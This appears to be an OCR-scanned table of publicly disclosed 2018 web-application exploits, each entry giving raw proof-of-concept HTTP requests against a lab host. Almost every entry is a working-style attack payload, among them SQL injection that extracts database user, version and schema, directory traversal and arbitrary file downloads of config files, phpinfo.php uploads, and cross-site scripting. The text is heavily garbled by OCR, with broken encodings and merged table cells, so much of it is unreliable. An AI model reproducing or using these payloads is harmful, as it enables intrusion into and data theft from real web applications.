
Accept :

text/html ,application/xhtml+xml,application/xml:g=0.9,+/*
Accept-Language: en-US,en:a=0.5

Accept-Encoding: gzip, deflate

Referer: http://localhost/[PATH/login/login.php
Connection: keep-alive

Content-Type: app|ication/x-www-form-ur|encoded
Content-Length: 160

username=%27+UN | ON+ALL+SELECT+0x31%2C0x32%2C0x33%2CCONCAT_WS%280
0:

DAT)

+er+Ayar i8passwor d=Efe&l ogar se=Ent rar

Nominas

Nominas 0.27

45825

SQL Injection

Surreal ToDo 0.6.1.2 - SQL
Injection

GET /ajax.php?act ion=Iists&page_id=1%20AND%201=1 HTTP/1.1
Host: 10.0.100.24:1004

User—Agent: Mozill1a/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0

Accept :

text/html,application/xhtml+xml ,application/xml;q=0.9,*/*
Accept-Language: en-US,en:q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

Surreal

Surreal ToDo
0.6.1.2

2018-11-13

sQL Injection

Alienor Web Libre 2.0 - SQL
Injection

POST /index.php HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0

Accept :

text/html,application/xhtml+xml application/xml:q=0.
Accept-Language: en-US.en:a=0.5

Accept-Encoding: gzip, deflate

Cookie: PHPSESSID=aehrspvibfhbp1ighkl 1107vd7
Connection: keep-alive

Content-Type: appl ication/x-www—form-ur lencoded
Content-Length: 306

identifiant=12"||(SeleCT%20' Efe ' %20F roMk20duAL%20WNeRE%20110=110
%20AnD%20(seLECT%20112%20f r OM(SE | ecT%20CouNT (+) , ConCAT (CONcat (Ox
203a20, UseR() ,DAtaBASe() ,VErsION()), (SeLEct®%20(ELT(112=112,1))),
FLooR(RANA(0)*2) ) x%20FROM%20 INFOr mat | ON_SChEMA. P1uGINS%20gr 0Up%2
0BY%20x)a)) || '&mot_de_passe=&inventaire=Inventaire

Alienor Web Libre

Alienor Web
Libre 2.0

2018-11-13

Directory Traversal

Musicco 200 - Arbitrary
Directory Download

GET
/10.0.100.24/?getAlbuméparent=../../../../Efe_S1/apache/conf&alb
um=Efe HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0)
Gecko/20100101 Firefox/45.0

Accept :

text/html,application/xhtml+xml application/xml:q=0.9,+/%:q=0.8
Accept-Language: en-US,en:a=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

Connection: Keep-Alive

Transfer-Encoding: chunked

Content-Type: application/zip, application/octet-stream

Musicco

Musicco 2.0.0

2018-11-13

sQL Injection

Tina4 Stack 1.0.3 - SQL Injection

POST /settings/en HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0

Accept :

text/html,application/xhtml+xml .application/xnl:q=0.9,%/*;q=0.8
Accept-Language: en-US,en:a=0.5

Accept-Encoding: ozip, deflate

Cookie: general_purpose=791f2pg746e79031n19e69% jp2
Connection: keep-alive

Content-Type: app|ication/x-www-form-ur |encoded
Content-Length: 268

language=fr2" | | (SeleCT%20" Efe ' %20F r oM20dUAL%20WNeREX20110=110%2
0AND%20(seLECTH20 112201 rOM(SE | ecTH20COUNT () , ConCAT (CONcat (0x20
3a20, UseR( ), DAtaBASe (), VErsION()), (SeLEct20(ELT(112=112,1))) ,FL
00R(RAND(0)*2) ) x20FROMK20INFOrmat |ON_SchEMA. P1uGINS%20gr 0Up%208
Y%20x)a)) 1"

Tina4 Stack

Tina4 Stack
1.0.3

45835

Stealth
Commanding

Easyndexer 1.0 - Arbitrary File
Download

POST
/10.0.100.24/src/showt i f.php?file=C:/Windows/win. ini&name=Efe
HTTP/1.1

Host: 10.0.100.24:1004
User-Agent: Mozilla/5.0 (X11
Gecko/20100101 Firefox/45.0
Accept :
text/html,application/xhtml+xml,application/xml:q=0.9,*/*:q=0.8
Accept-Language: en-US,en:a=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

Content-Type: application/force-down|oad

+ Linux x86_64: rv:45.0)

Easyndexer

Easyndexer
1.0

45837

SQL Injection

Gumbo CMS 099 - SQL
Injection

POST /settings/en HTTP/1.1
Host: 10.0.100.24:1004
User-Agent: Mozilla/5.0 (X11
Gecko/20100101 Firefox/45.0
Accept
text/html,application/xhtml+xml application/xml;q=0.9,*/*
Accept-Language: en-US,en:q=0.5

Accept-Encoding: gzip, deflate

Cookie: general_purpose=791f2pg746e79031n19e69k p2
Connection: keep-alive

Content-Type: appl ication/x-www—form-ur lencoded
Content-Length: 268

i Linux x86_64: rv:45.0)

language=fr2" | | (SeleCT%20"Efe ' %20F r oM%20duAL%20WheREX20110=110%2
0AND%20 (seLECT%20112%201 r OM(SE | ecT%20COUNT (), ConCAT (CONcat (0x20
3a20,UseR() ,DAtaBASe (), VErsION()), (SeLEct%20(ELT(112=112,1))) ,FL
©00R(RANA(0)*2) ) x%20FROM20 |NFOr mat | ON_SChEMA. P 1uG INS%20gr OUp%208
Y%20x)a)) |

Gumbo CMS

Gumbo CMS
0.99
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GET
/weategory.php?|D=%36%2( %o 3%54%20%
f 3%54%20%47%52%4 f %55%50%5 %64 3%4
Foedend3nd 1%54%28%7 4%6 1 6e%6 1 3%45%50%4 1%52
1%54%41 %30 %41 %4d
RS2 hACHRA 1H54%RATHA fHAet5 19626%54%4
1% b4 1RA2RACHATHS | HEINATNABNAS
Siurus Classifieds Scrint 20 %A% 19%30%44%4 1%54%4 1%42%4 1%53%45%28%20%20%20%35%2C%36%2C%37%2C% Silurus
2018-11-13 145838 SQL Injection 5 & 'VUVUS 355" fieds Script 38%20%39%20%3 1%630%2¢%3 1%3 1%620%3 1%32%20%3 1%33%2d%20%20%2d Si \yrus Classifieds
‘wcategory' SQL Injection  [HTTP/1.1 Classifieds Script 2.0
Host: 10.0.100.24:1004 :
User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0
Accept :
text/html,application/xhtml+xml application/xnl:q=0.9,*/*;q=0.8
Accept-Language: en-US.en:q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
GET
/par ish/sear ch?key=%27| | (Se| eCT%20%27E f e%27%20F r oM%20duAL %20NheR
E%20110=110%20AnD%20 (seL EcT%20112%20f r OM(SE | ecT%20C0oUNT (*) , ConCA
T(CONcat (0x203a20, UseR() .DAtaBASe( ), VErsION()) . (SeLEct%20(ELT(11
2=112,1))) .FLooR(RANd(0) *2) ) x%20FROM%20 I NFOr mat | ON_SchEMA P 1uGIN
$%20gr 0Up%20BY%20x)a) ) | %27 HTTP/1.1
- Alive Parish 204 - sqL |Most: 10.0.100.24: 1004 _ ) Expense
2018-11-13 45840 SQL Injection ] L . User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Alive Parish Management
Injection Gecko/20100101 Firefox/45.0 10
Accept :
text/html,application/xhtml+xnl app!ication/xmlig=0.9,*/x
Accept-Language: en-US,en:q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=d98c14a2b1f274925e7993331153a20d
Connection: keep-alive
GET /application/db/maitra.salite HTTP/1.1
Host: 10.0.100.24:1004
User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:45.0)
i Gecko/20100101 Firefox/45.0 . . Maitra Mail
2018-11-13 | 45841 SQL Injection 5 kS Maitra Mail Tracking System |, oot Jleitra gan Tracking
172 - SQL Injection text/htnl appl icat ion/xhtnl+xnl ,app! ication/xnl:q=0.9,+/+iq=0.8 | "eCKINO SYSIeM | gqien 17 5
Accept-Language: en-US.en:q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
GET /10.0.100.24/application/db/maitra.sqlite HTTP/1.1
Host: 10.0.100.24:1004
User-Agent: Mozilla/5.0 (X11: Linux x86_64; rv:45.0)
i i Gecko/20100101 Firefox/45.0 Maitra Mail
2018-11-13 | 45841 File Upload 5 5 Maitra Mail Tracking System |/ 1% Maitra Mai | Tracking
172 - Database File Download |, /nin ,app! icat ion/xhtmI4xml ,app! ication/xnl ;q=0.9, */+ Tracking Systen | s cten 1.7.2
Accept-Language: en-US,en:a=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
POST /10.0.100.24/protected/ | ibrary/ajax/WsSaveToMode| .php
HTTP/1.1
Host: 10.0.100.24:1004
User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0
Accept :
text/html,application/xhtml+xml application/xml:q=0.9,#/*:q=0.8
Accept-Language: en-US,en:q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: multipart/form-data: boundary=
- —— —~71275313951677 1986337452300
Content-Length: 989
— ——————71275313951677 1986337452300
Content-Disposition: form-data; name="model_name"
Ws_userMode|
1275313951677 19863374523/
Content-Disposition: form-data: name="id"
2018-11-13 | 45842 File Upload 5 & Webiness Inventory 23 -\ 1275313951677 1986337452300 Webiness Inventory|, lebiness
Arbitrary File Upload Content-Disposition: forn-data: name="email" Inventory 2.3
efe@omerefe.com
1275313951677 19863374523
Content-Disposition: form-data; name="password"
efe
1275313951677 19863374523/
Content-Disposition: form-data: name="user_salt"
— 712753139516771986337452300
Content-Disposition: form-data; name="is_verified"
1
1275313951677 19863374523/
Content-Disposition: form-data: name="is_active"
1
******************* 71275313951677 1986337452300
Content-Disposition: form-data: name="ver ification_code"
1275313951677 19863374523
POST /protected/ I ibrary/ajax/WsMode|Grid.php HTTP/1.1
Host: 10.0.100.24:1004
User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0
Accept :
text/html,application/xhtml+xml ,application/xml;g=0.9,*/*
Accept-Language: en-US.en:0=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Webiness Inventory 2.3 - SQL Content-Type: application/x-www-form-ur |encoded Webiness
2018-11-13 45843 SQL Injection ) & y Content-Length: 541 Webiness Inventory
Injection Inventory 2.3
mode |=Par tnerMode|&or der )63 1%20%46%52%4
434 SRASHATHA 1H54%5 {5 f
1654%4 1%42%4 1
A52%53%49% 3454%20
28%32%3d%32%2c b %52%628%52%4 1
%dd%d 1%54%49
841 %4eH5 1 19626%50%40K55%4 0%A73%52%4 1%
55%50%20%42%59%20%7 8%29%6 1%29
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2018-11-13

sQL Injection

GET
/moni torasoc/view/moni torasocAcc . php?usuar i 0=%31%27%20%4 1%4e%44%

O%45%66

SIPve 0.0.2-R19 - SQL Injection

%658accion=asociar HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0

Accept :

text/html,application/xhtml+xml ,application/xml:q=0.9,*/*:q=0.8
Accept-Language: en-US.en:0=0.5

Accept-Encoding: ozip, deflate

Cookie: PHPSESSID=pbkiflalc6ge33dkuilei jme2

Connection: keep-alive

SlPve

SlPve 0.0.2-
R19

45845

SQL Injection

iServiceOnline 1.0 - ' SQL
Injection

POST /app/index.php?r=Repor t /Repair HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0

Accept :

text/html,application/xhtml+xml .application/xnl:q=0.9,%/*:q=0.8
Accept-Language: en-US.en:a=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

Content-Type: app|ication/x-www-form-ur |encoded
Content-Length: 645

year=2018%20%6 1%6e%44%2( 0%31 0%46!

0 f
f%B6eX63%6 1 6e%kd3%4 1 1

19%74%41%42%4 1 2%
3%54%20%

53%49%61

1 8%34%39
5636%38%3; 6%3 1936

%A
6%72%4 f %4d%20%49%4e%46%6 %7 2%6 %4 1%54%49%4 f %dek5 f %53%63%66!
%41%2e%50%4C%75%6 %47%72%6 f )%20%42%59%20" £}
61%29

iServiceOnline

iServiceOnlin
e 1.0

2018-11-14

45847

SQL Injection

Helpdezk 1.1.1 - ‘query’ QL
Injection

POST /admin/widget/json/ HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0

Accept :

text/html ,application/xhtml+xml,application/xml;
Accept-Language: en-US.en:q=0.5
Accept-Encoding: ozip, deflate

Connection: keep-alive

Content-Type: app|ication/x-www-form-ur|encoded
Content-Length: 270

query=" uniOn SeleCt

(SELECT(@x)FROM(SELECT (@x:=0x00) , (@NR:=0) , (SELECT (0)FROM( | NFORMA
TION_SCHEMA. TABLES )WHERE ( TABLE_SCHEMA ! =0x696e666 { 72606 174696 {6e5
73636865606 1)AND(0x00) IN(@x: =CONCAT (@x , LPAD(@NR: =@NR%2b 1,4, 0x30
).,0x3a20, table_name,0x3c62723¢))))x),2,3,4— -&atype=name

Helpdezk

Helpdezk
1.1.1

45849

SQL Injection

EdTv 2 - 'id" SQL Injection

GET /edtv/index.php/admin/edit_source&?id=-

1%20union%20se | ect%201, (SELECT+GROUP_CONCAT (schema_name+SEPARATO
R+0x3c62723e ) +FRON | NFORMAT | ON_SCHEMA . SCHEMATA) , CONCAT_WS(0x203a
20,USER() , DATABASE (), VERSION()) ,4,5--%20~ HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (Windows NT 6.1: WOW64: rv:56.0)
Gecko/20100101 Firefox/55.0

Accept :

text/html ,application/xhtml+xml,application/xml:g=0.9,*/*
Accept-Language: tr-TR,triq=0.8.en-USig=0.5,enia=0.3
Accept-Encoding: gzip, deflate

Connection: keep-alive

EdTv

EdTv 2

2018-11-14

sQL Injection

Advanced Comment System 1.0
- 5QL Injection

GET

/editgrp.php?gid=/internal /advanced_comment_system/admin.php?pw=
admin&page=/internal / index . php%27%20UN | ON%20ALL%20SELECT%ONULL ,
NULL , CONCAT (0x71717a6b71,0x67424663534 { 77556044746a59686 7842735
4 16b724d7 58,0x7171626a71) ,NULL-—

%20SkrUgde|=2 HTTP/1.1

Host: 10.0.100.24: 1004

User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0

Accept

text/html,appl ication/xhtmI+xml ,app! ication/xml :q=
Accept-Language: en-US,en:a=0.5

Accept-Encoding: ozip, def late

Connection: keep-alive

Content-Length: 12

Advanced Comment
System

Advanced
Comment
System 1.0

45855

SQL Injection

Rmedia SMS 1.0 - SQL Injection

GET

/editgrp.php?gid=1%27%20AnD%20EXTRact vaLUE( 156, CONcat ( (se | ECT+Gr
0UP_conCAT (scHEma_NAme+SEpar aTOR+0x3c62723¢ ) +fr OM+ INFOrmaT | ON_Sc
heMA.SCHEmatA) , (SelecT%20(E It (156=156,1))),0x4968736 162205365666
3616e))—%20Efe HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0)
Gecko/20100101 Firefox/45.0

Accept :
text/html,application/xhtml+xml,application/xml:g=0.9,+/*:q=0.8
Accept-Language: en-US,en:a=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

Rmedia SNS

Rmedia SMS
1.0

2018-11-14

sQL Injection

GET
/ajax/load_proveedores.php?: 1%2
0%3 1 54%20%4

52%4 %55%50%5

564 3%4 fde%d 34 1%54:

50%41%52%4 1%54%4 f

2941 %4d%20%49%4e%46%4 f %52%4d%4 1%54%49%4 f %45 f 53%43%48%45%4d%4 1
1%54%4 0%2d

1%5f%6e%6 1 645%

Pedidos 1.0 - SQL Injection

HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (Windows NT 6.1: WOW64: rv:56.0)
Gecko/20100101 Firefox/55.0

Accept :
text/html,application/xhtml+xml,application/xml:q=0.9,*/*:q=0.8
Accept-Language: tr-TR,tr:q=0.8.en-US:g=0.5,en:q=0.3
Accept-Encoding: gzip, deflate

Connection: keep-alive

Pedidos

Pedidos 1.0
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45857

Cross-Site Scripting

Electricks eCommerce 1.0 -
Persistent Cross-Site Scripting

POST /10.0.100.24/Electricks/Electricks/Electricks—
shop/pages/user_signup.php HTTP/1.1

Host: 10.0.100.24:1004
User-Agent: Mozilla/5.0 (X11
Gecko/20100101

Firefox/60.0

Accept
text/html,application/xhtml+xml ,application/xml;
Accept-Language: en-US,en:a=0.5
Accept-Encoding: gzip, deflate

Content-Type: app|ication/x-www-form-ur lencoded
Content-Length: 203

i Linux x86_64: rv:60.0)

R

firstname=Nawafé&midd|ename=test&|astname=AlkeraitheSemai|=nalker
aitheh

40gmai | .com

&address=%3Cscr ipt%3Ealer t%28%22Stor ed+XSSk22%29%3CkF scr ipt%3E&
contact=nawaf8user name=testme8passwor d=tesetme&submi t=

Electricks
eCommer ce

Electricks
eConmerce 1.0

2018-11-14

45858

SQL Injection

DoceboLMS 1.2 - SQL Injection

GET

/modules/progcourse/ lesson. php?id= %31%27%20%41%%%44%20%45%40%54
9628%3 19630%3 1%2¢%3 1%29%20%4 1%4e%44%2( %2754t

65 HTTP/1.1

Host: 10.0.100.24: 1004

User-Agent: Mozilla/5.0 (Windows NT 6.1;
Gecko/20100101 Firefox/55.0

Accept

text/html,application/xhtml+xml ,application/xml;q=0.9,*/;
Accept-Language: tr-TR, tr:q=0.8,en-US:q=0.5,en:q=0.3
Accept-Encoding: gzip, deflate

Connection: keep-alive

WOWe4: rv:55.0)

DocebolMS

DocebolMS 1.2

2018-11-14

45858

File upload

DocebolMS 1.2 - Arbitrary File

POST
/10.0.100.24/modules/html area/popups/ inser t_image.php?op=progins
ert HITP/1.1

Host: 10.0.100.24:1004
User-Agent: Mozilla/5.0 (X11
Gecko/20100101 Firefox/45.0
Accept :
text/html,application/xhtml+xml,application/xml:g=0.9,#/*:q=0.8
Accept-Language: en-US,en:a=0.5

Accept-Encoding: gzip, deflate

Cookie: learning=ab3edb1f569003472985f03a29c581 f3

Connection: keep-alive

Content-Type: multipart/form-data; boundary=

+ Linux x86_64: rv:45.0)

Upload

11319136191134967575
Content-Length: 394

25203287911319136191134967575
Contenth\spos\tlon- form-data: name="max_file_size"
10000000000

. —-25203287911319136 191134967575
Content-Disposition: form-data: name="uploadedfile":
filename="phpinfo.php"

Content-Type: application/force-down|oad

<?php

phpinfo():

2

——25203287911319136 191134967575

Docebol MS

Docebol MS 1.2]

2018-11-15

45862

sQL Injection

BitZoom 1.0 - 'rollno’ SQL
Injection

POST /forgot.php HTTP/1.1
Host: 10.0.100.24:1004
User-Agent: Mozilla/5.0 (X11
Gecko/20100101 Firefox/45.0
Accept :
text/html,application/xhtml+xml,application/xml:q=0.9,*/*
Accept-Language: en-US,en:a=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

Content-Type: application/x-www-form-ur |encoded
Content-Length: 572

i Linux x86_64: rv:45.0)

rol Ino=%31%2 54%20%3 1%20%32
%2cH3FR2CH3A%2cH35%2¢ (se | ECt (@x) fROm(se | ECt (@x:=0x00)%2c (@rUNNin
g_nuMBer :=0)%2c(@tb1 :=0x00)%2c(se ECt (0) fROM(infoRMATion_schEMa.
coLUMns JwHEr e ( tABLe_schEMa=daTABase () )aNd(0x00) in(@x:=Concat (@x%
2cif((@tbl!=tABLe_name)%2cConcat (LPAD(@rUNNing_nuMBer :=@r UNNing_
nuMBer %2b 1%2c2%2c0x30 Bl:=tABLe. :=0x00
) )%ZC%ZOOXOO)%ZC Ipad(@z:=az%2b 1%202%2[:0x30)%200x3d39%200x4b6f656
1663320 I umn_s 0x3c62723e)) ) ) x)%2c

9630%2¢%31%3 1%2¢%3 1%32%20%3 1%33%2¢%3 1%34%2¢%3 1%35%20%2d%20%2d

BitZoom

BitZoom 1.0

45863

SQL Injection

Net-Billetterie 2.9 -
Injection

“login’ SQL

POST /login. inc.php HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0

Accept :

text/html,application/xhtml+xml .application/xml:
Accept-Language: en-US,en:a=0.5
Accept-Encoding: gzip, deflate

Connection: keep-alive

Content-Type: appl ication/x-www-form-ur lencoded
Content-Length: 579

\ogm= 1 0%4 C %3 1%31 0%46%

A f
fMeMBM 1%54%28%43%4 f %4e%43%4 1%54%5 f %57%53%28%30%7 8%32%30%33%6 1

1%54%41%42%4 1

<% 1%31 d%31%3 1 %31 waf
652%41 (

A1%520A %4 1%54%49%4  hde%5 f R53%43%48%45%A %4 1%2e%50%ACHEE%A7h4G%4

©%53%20%4: %0t f 1
Efe

Net-Billetterie

Net-
Billetterie

2018-11-15

45895

SQL Injection

Galaxy Forces MMORPG 0.5.8 -
'type’ SQL Injection

POST /ticketly/action/addproject.php HTTP/1.1
Host: 10.0.100.24:1004

User—Agent: Mozilla/5.0 (Windows NT 10.0: WOW64:
Gecko/20100101 Firefox/50.0

Accept: /=

Accept-Language: es-ES,es;a=0.8,en-US;0=0.5,en;0=0.3
Accept-Encoding: gzip, deflate

Content-Type: application/x-www—form-urlencoded; charset=UTF-8
X-Requested-Iith: XMLHttpRequest

Content-Length: 314

Connection: close

rv:50.0)

name=Test" RLIKE (SELECT (CASE WHEN (4632=4632) THEN 0x54657374
ELSE 0x28 END)) AND "lIrmz"="lrmZ&descr iption=Test

name=Test AND EXTRACTVALUE (9139, CONCAT (Ox5¢,0x7 17676671, (SELECT
(ELT(9139=9139,1))),0x7178717a71)) AND
"SZJL"="SZJL&descr iption=Test

name=Test RLIKE SLEEP(5) AND "WKTS'="WKTS&descr iption=Test

Galaxy Forces
MMORPG

Galaxy Forces
MMORPG 0.5.8
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45868

File Upload

EverSync 0.5 - Arbitrary File
Download

GET /10.0.100.24/files/db.sa3 HTTP/1.1

Host: 10.0.100.24: 1004

User-Agent: Mozilla/5.0 (Windows NT 6.1: WOW64: rv:55.0)
Gecko/20100101 Firefox/55.0

Accept :

text/html,application/xhtml+xml .application/xml:
Accept-Language: tr-TR,tr;0=0.8.en-US:0=0.5.en:0=0.3
Accept-Encoding: gzip, deflate

Cookie: PHPSESSID=dhqOfbvco8d0scOlem3|2kktk0

ONT: 1

Connection: keep-alive

Upgrade-Insecure-Requests: 1

\*/*:0=0.8

EverSync

EverSync 0.5

2018-11-15

45875

sQL Injection

Meneame English Pligg 5.8 -
‘search’ SQL Injection

GET
/?sear ch=4%6 1%27%29%20%4 1%4e%44%20 ( Se | eCT%20%27E f e%27%20F r oMk20du
AL%20WheRE%20110=110%20AnD%20 (SeLECT%20112%20f r OM(SE | ecT%20CoUNT
(*),ConCAT (CONcat (0x203a20, UseR () ,DAtaBASe() , VErsION()), (SeLEct®
20(ELT(112=112,1))) ,FLooR(RANd(0) +2) ) x%20FROM%20 INFOr mat | ON_SchE
MA.P1UGINS%20gr 0Up%20BY%20x )a) ) %20—-%20Efe HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0

Accept :

text/html,application/xhtml+xml .application/xml:q=0.9,*/*:
Accept-Language: en-US.en:a=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

Veneane Engl ish
Pligg

Meneame
English Pligg|
5.8

2018-11-15

45876

File Upload

Kordil EDMS 2.2.60rc3 -
Arbitrary File Upload

POST /10.0.100.24/routine_emai Is_to_al |_users_add.php HTTP/1.1
Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0

Accept :

text/html,application/xhtml+xml application/xnl:q=0.9,*/*;q=0.8
Accept-Language: en-US.en:q=0.5
Accept-Encoding: gzip, deflate
Cookie: 18794
Connection: keep-alive
Content-Type: multipart/form-data: boundary=
114917121519378418451544589507

411

973

********* —114917121519378418451544589507
Content-Disposition: form-data; name="add_fd1"

admin

Content-Lengt

—114917121519378418451544589507
Content-Disposition: form-data: name="add_fd2"
Efe

*********** —11491712151937841845 1544589507
Content-Disposition: form-data: name="add_fd3"
2018-11-13 15:04:48

—114917121519378418451544589507

Content-Disposition: form-data: name="upload_fd4":
filename="phpinfo.php"

Content-Type: application/force-down|oad

<?php.

phpinfo():

>

—114917121519378418451544589507
Content-Disposition: form-data: name="add_fd5"

S— ——114917121519378418451544589507
Content-Disposition: form-data: name="act"
n

—=114917121519378418451544589507
Content-Disposition: form-data; name="QS_Submit"

fffffffffffffffffff 114917121519378418451544589507-~

Kordil

Kordi | EOMS
2.2.60rc3

45877

SQL Injection

Simple E-Document 1.31 -
‘username’ SQL Injection

POST /login.php HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0

Accept :
text/html,application/xhtml+xml,application/xml;
Accept-Language: en-US,en:a=0.5
Accept-Encoding: gzip, deflate

Connection: keep-alive

Content-Type: appl ication/x-www-form-ur lencoded
Content-Length: 267

username=12"| | (SeleCT%20'Efe ' %20F r oMk20duAL%20WheRE%20110=110%20
AnD%20(seLECT%20112%20f r OM(SE | ecT%20CouNT (+) ,ConCAT (CONcat (0x203
a20,UseR() ,DAtaBASe() ,VErsION()), (SeLEct%20(ELT(112=112,1))) ,FLo
OR(RANA(0)#2) ) x%20FROM%20 INFOrmat | ON_SChEMA. P1uGINS%20gr OUp%20BY
%20x)a)) ||

Simple E-Document

Simple E-
Document 1.31

2018-11-15

45878

File Upload

2-Plan Team 1.0.4 - Arbitrary
File Upload

POST /10.0.100.24/managef i le.php?action=upload&id=1 HTTP/1.1
Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0

Accept :

text/html,application/xhtml+xml .application/xnl:q=0.9,%/*:q=0.8
Accept-Language: en-US,en:a=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

100912087957 1523906 1851145440
Content-Length: 1192

100912087957 1523906 1851145440
Content-Disposition: form-data: name="numfiles"
1

e ——100912087957 1523906 1851145440
Content-Disposition: form-data: name="upfolder"

— ————-—100912087957 1523306 1851145440
Content-Disposition: form-data; name="userfilel-title"

- —=100912087957 1523906 1851145440
Content-Disposition: form-data: name="userfilel":
filename="phpinfo.php"

Content-Type: application/force-down|oad

2-Plan Team

2-Plan Team
1.0.4
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<?php
ohpinfo():
>
— — 100912087957 1523906 1851145440
Content-Disposition: form-data: name="userfilei"
phpinfo.php
100912087957 1523906 1851145440
Content-Disposition: form-data: name="userfilel-tags"
— E— —100912087957 1523906 1851145440
Content-Disposition: form-data; name="desc"
Content-Disposition: form-data; name="visible[]"
100912087957 1523906 1851145440
Content-Disposition: form-data: name="sendto[]"
all
100912087957 1523906 1851145440—
POST /10.0.100.24/send.php HTTP/1.1
Host: 10.0.100.24:1004
User-Agent: Mozilla/5.0 (Windows NT 6.1: WOW64: rv:55.0)
Gecko/20100101 Firefox/55.0
Accept :
text/html,application/xhtml+xml .application/xml: */*:0=0.8
Accept-Language: tr-TR,tr:0=0.8.en-US:0=0.5.en:q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/octet-strean
- Arbi Content-Length: 716
2018-11-15 | 45879 File Upload 5 & pHp Maiir:awlfa .y Arbitrary | ckio: PHPSESSID=cha0fbvcoBd0scolend] 2kktkD PHP Mass Mail | Mass Mail
Connection: keep-alive
Upgrade-Insecure-Requests: 1
— — -265001916915724: undef ined
Content-Disposition: form-data: name="userfile[]":
filename="phpinfo.php"
<?php
ohpinfo():
>
- —-265001916915724--
POST /10.0.100.24/wp-admin/edi t.php? HTTP/1.1
Host: 10.0.100.24:1004
User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:60.0)
Gecko/20100101
Firefox/60.0
Accept :
text/html ,application/xhtml+xnl.application/xml :q=0.9,%/*:q=0.8
Accept-Language: en-US,en:a=0.5
Accept-Encoding: gzip, deflate
" i Nini Content-Type: appl ication/x-www~form-ur lencoded Wor dPress
2018-11-15 | 45880 | Cross-Site Scripting 5 & WordPress Plugin Ninja Forms | Gontent-Length: 168 fordPress PIUGIn | pyygin pinja
3317 - Cross-Site Scripting Ninja Forms Forms 3.3.17
s&post_status=al I&post_type=nf_sub&action=— i
1&form_id=1&nf_form_f i| ter&begin_date&end_date="><ingtsre=mtk+on
error=alert(/MTK/)://&filter_action=Filter&paged=1&action2=-1
s8post_status=al I8post_type=nf_sub&act ion=—
1&form_id=1&nf_form_filter8begin_date="><imgtsrc=mtk+onerror=ale
rt(/MTK/)://8end_date&iilter_action=Filter&paged=18act ion2=-1
post_status=trashipost_type=nf_sub&form_id=1"><scr ipt>alert(/MTK
/):</script>8nf_form_filter&paged=1
POST /customer /Sear chCustomer .php?pDivAler t=NoCustomer HTTP/1.1
Host: 10.0.100.24:1004
User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0
Accept :
text/html,application/xhtml+xml ,application/xml:q=0.9,*/*:q
Warranty Tracking System AcceDIfLanguWe: enTUS,en:q=0.5 i War ranty
2018-11-16 | 45881 SQL injection 5 % 11,063 - ‘baCustomerCode” 10! En00ch 0" 0rb, ceflate Warranty Tracking T;igf;;g
SQL Injection Content-Type: app|ication/x-wi-forn-ur lencoded 11.06.3
Content-Length: 244
txtCustomer Code= 4%20%43
%odd %4634 3%4 1%54%5 f %57 0" 0%33%6 1 (
19654%41%42%4 %4
POST /10.0.100.24/he|pdezk/manageat tachments/ HTTP/1.1
Host: 10.0.100.24:1004
User—Agent: Mozill1a/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0
Accept :
text/html ,application/xhtml4xml.application/xml:q=0.9,%/+:
Accept-Language: en-US,en:a=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: multipart/form-data: boundary=
i 1293691802011
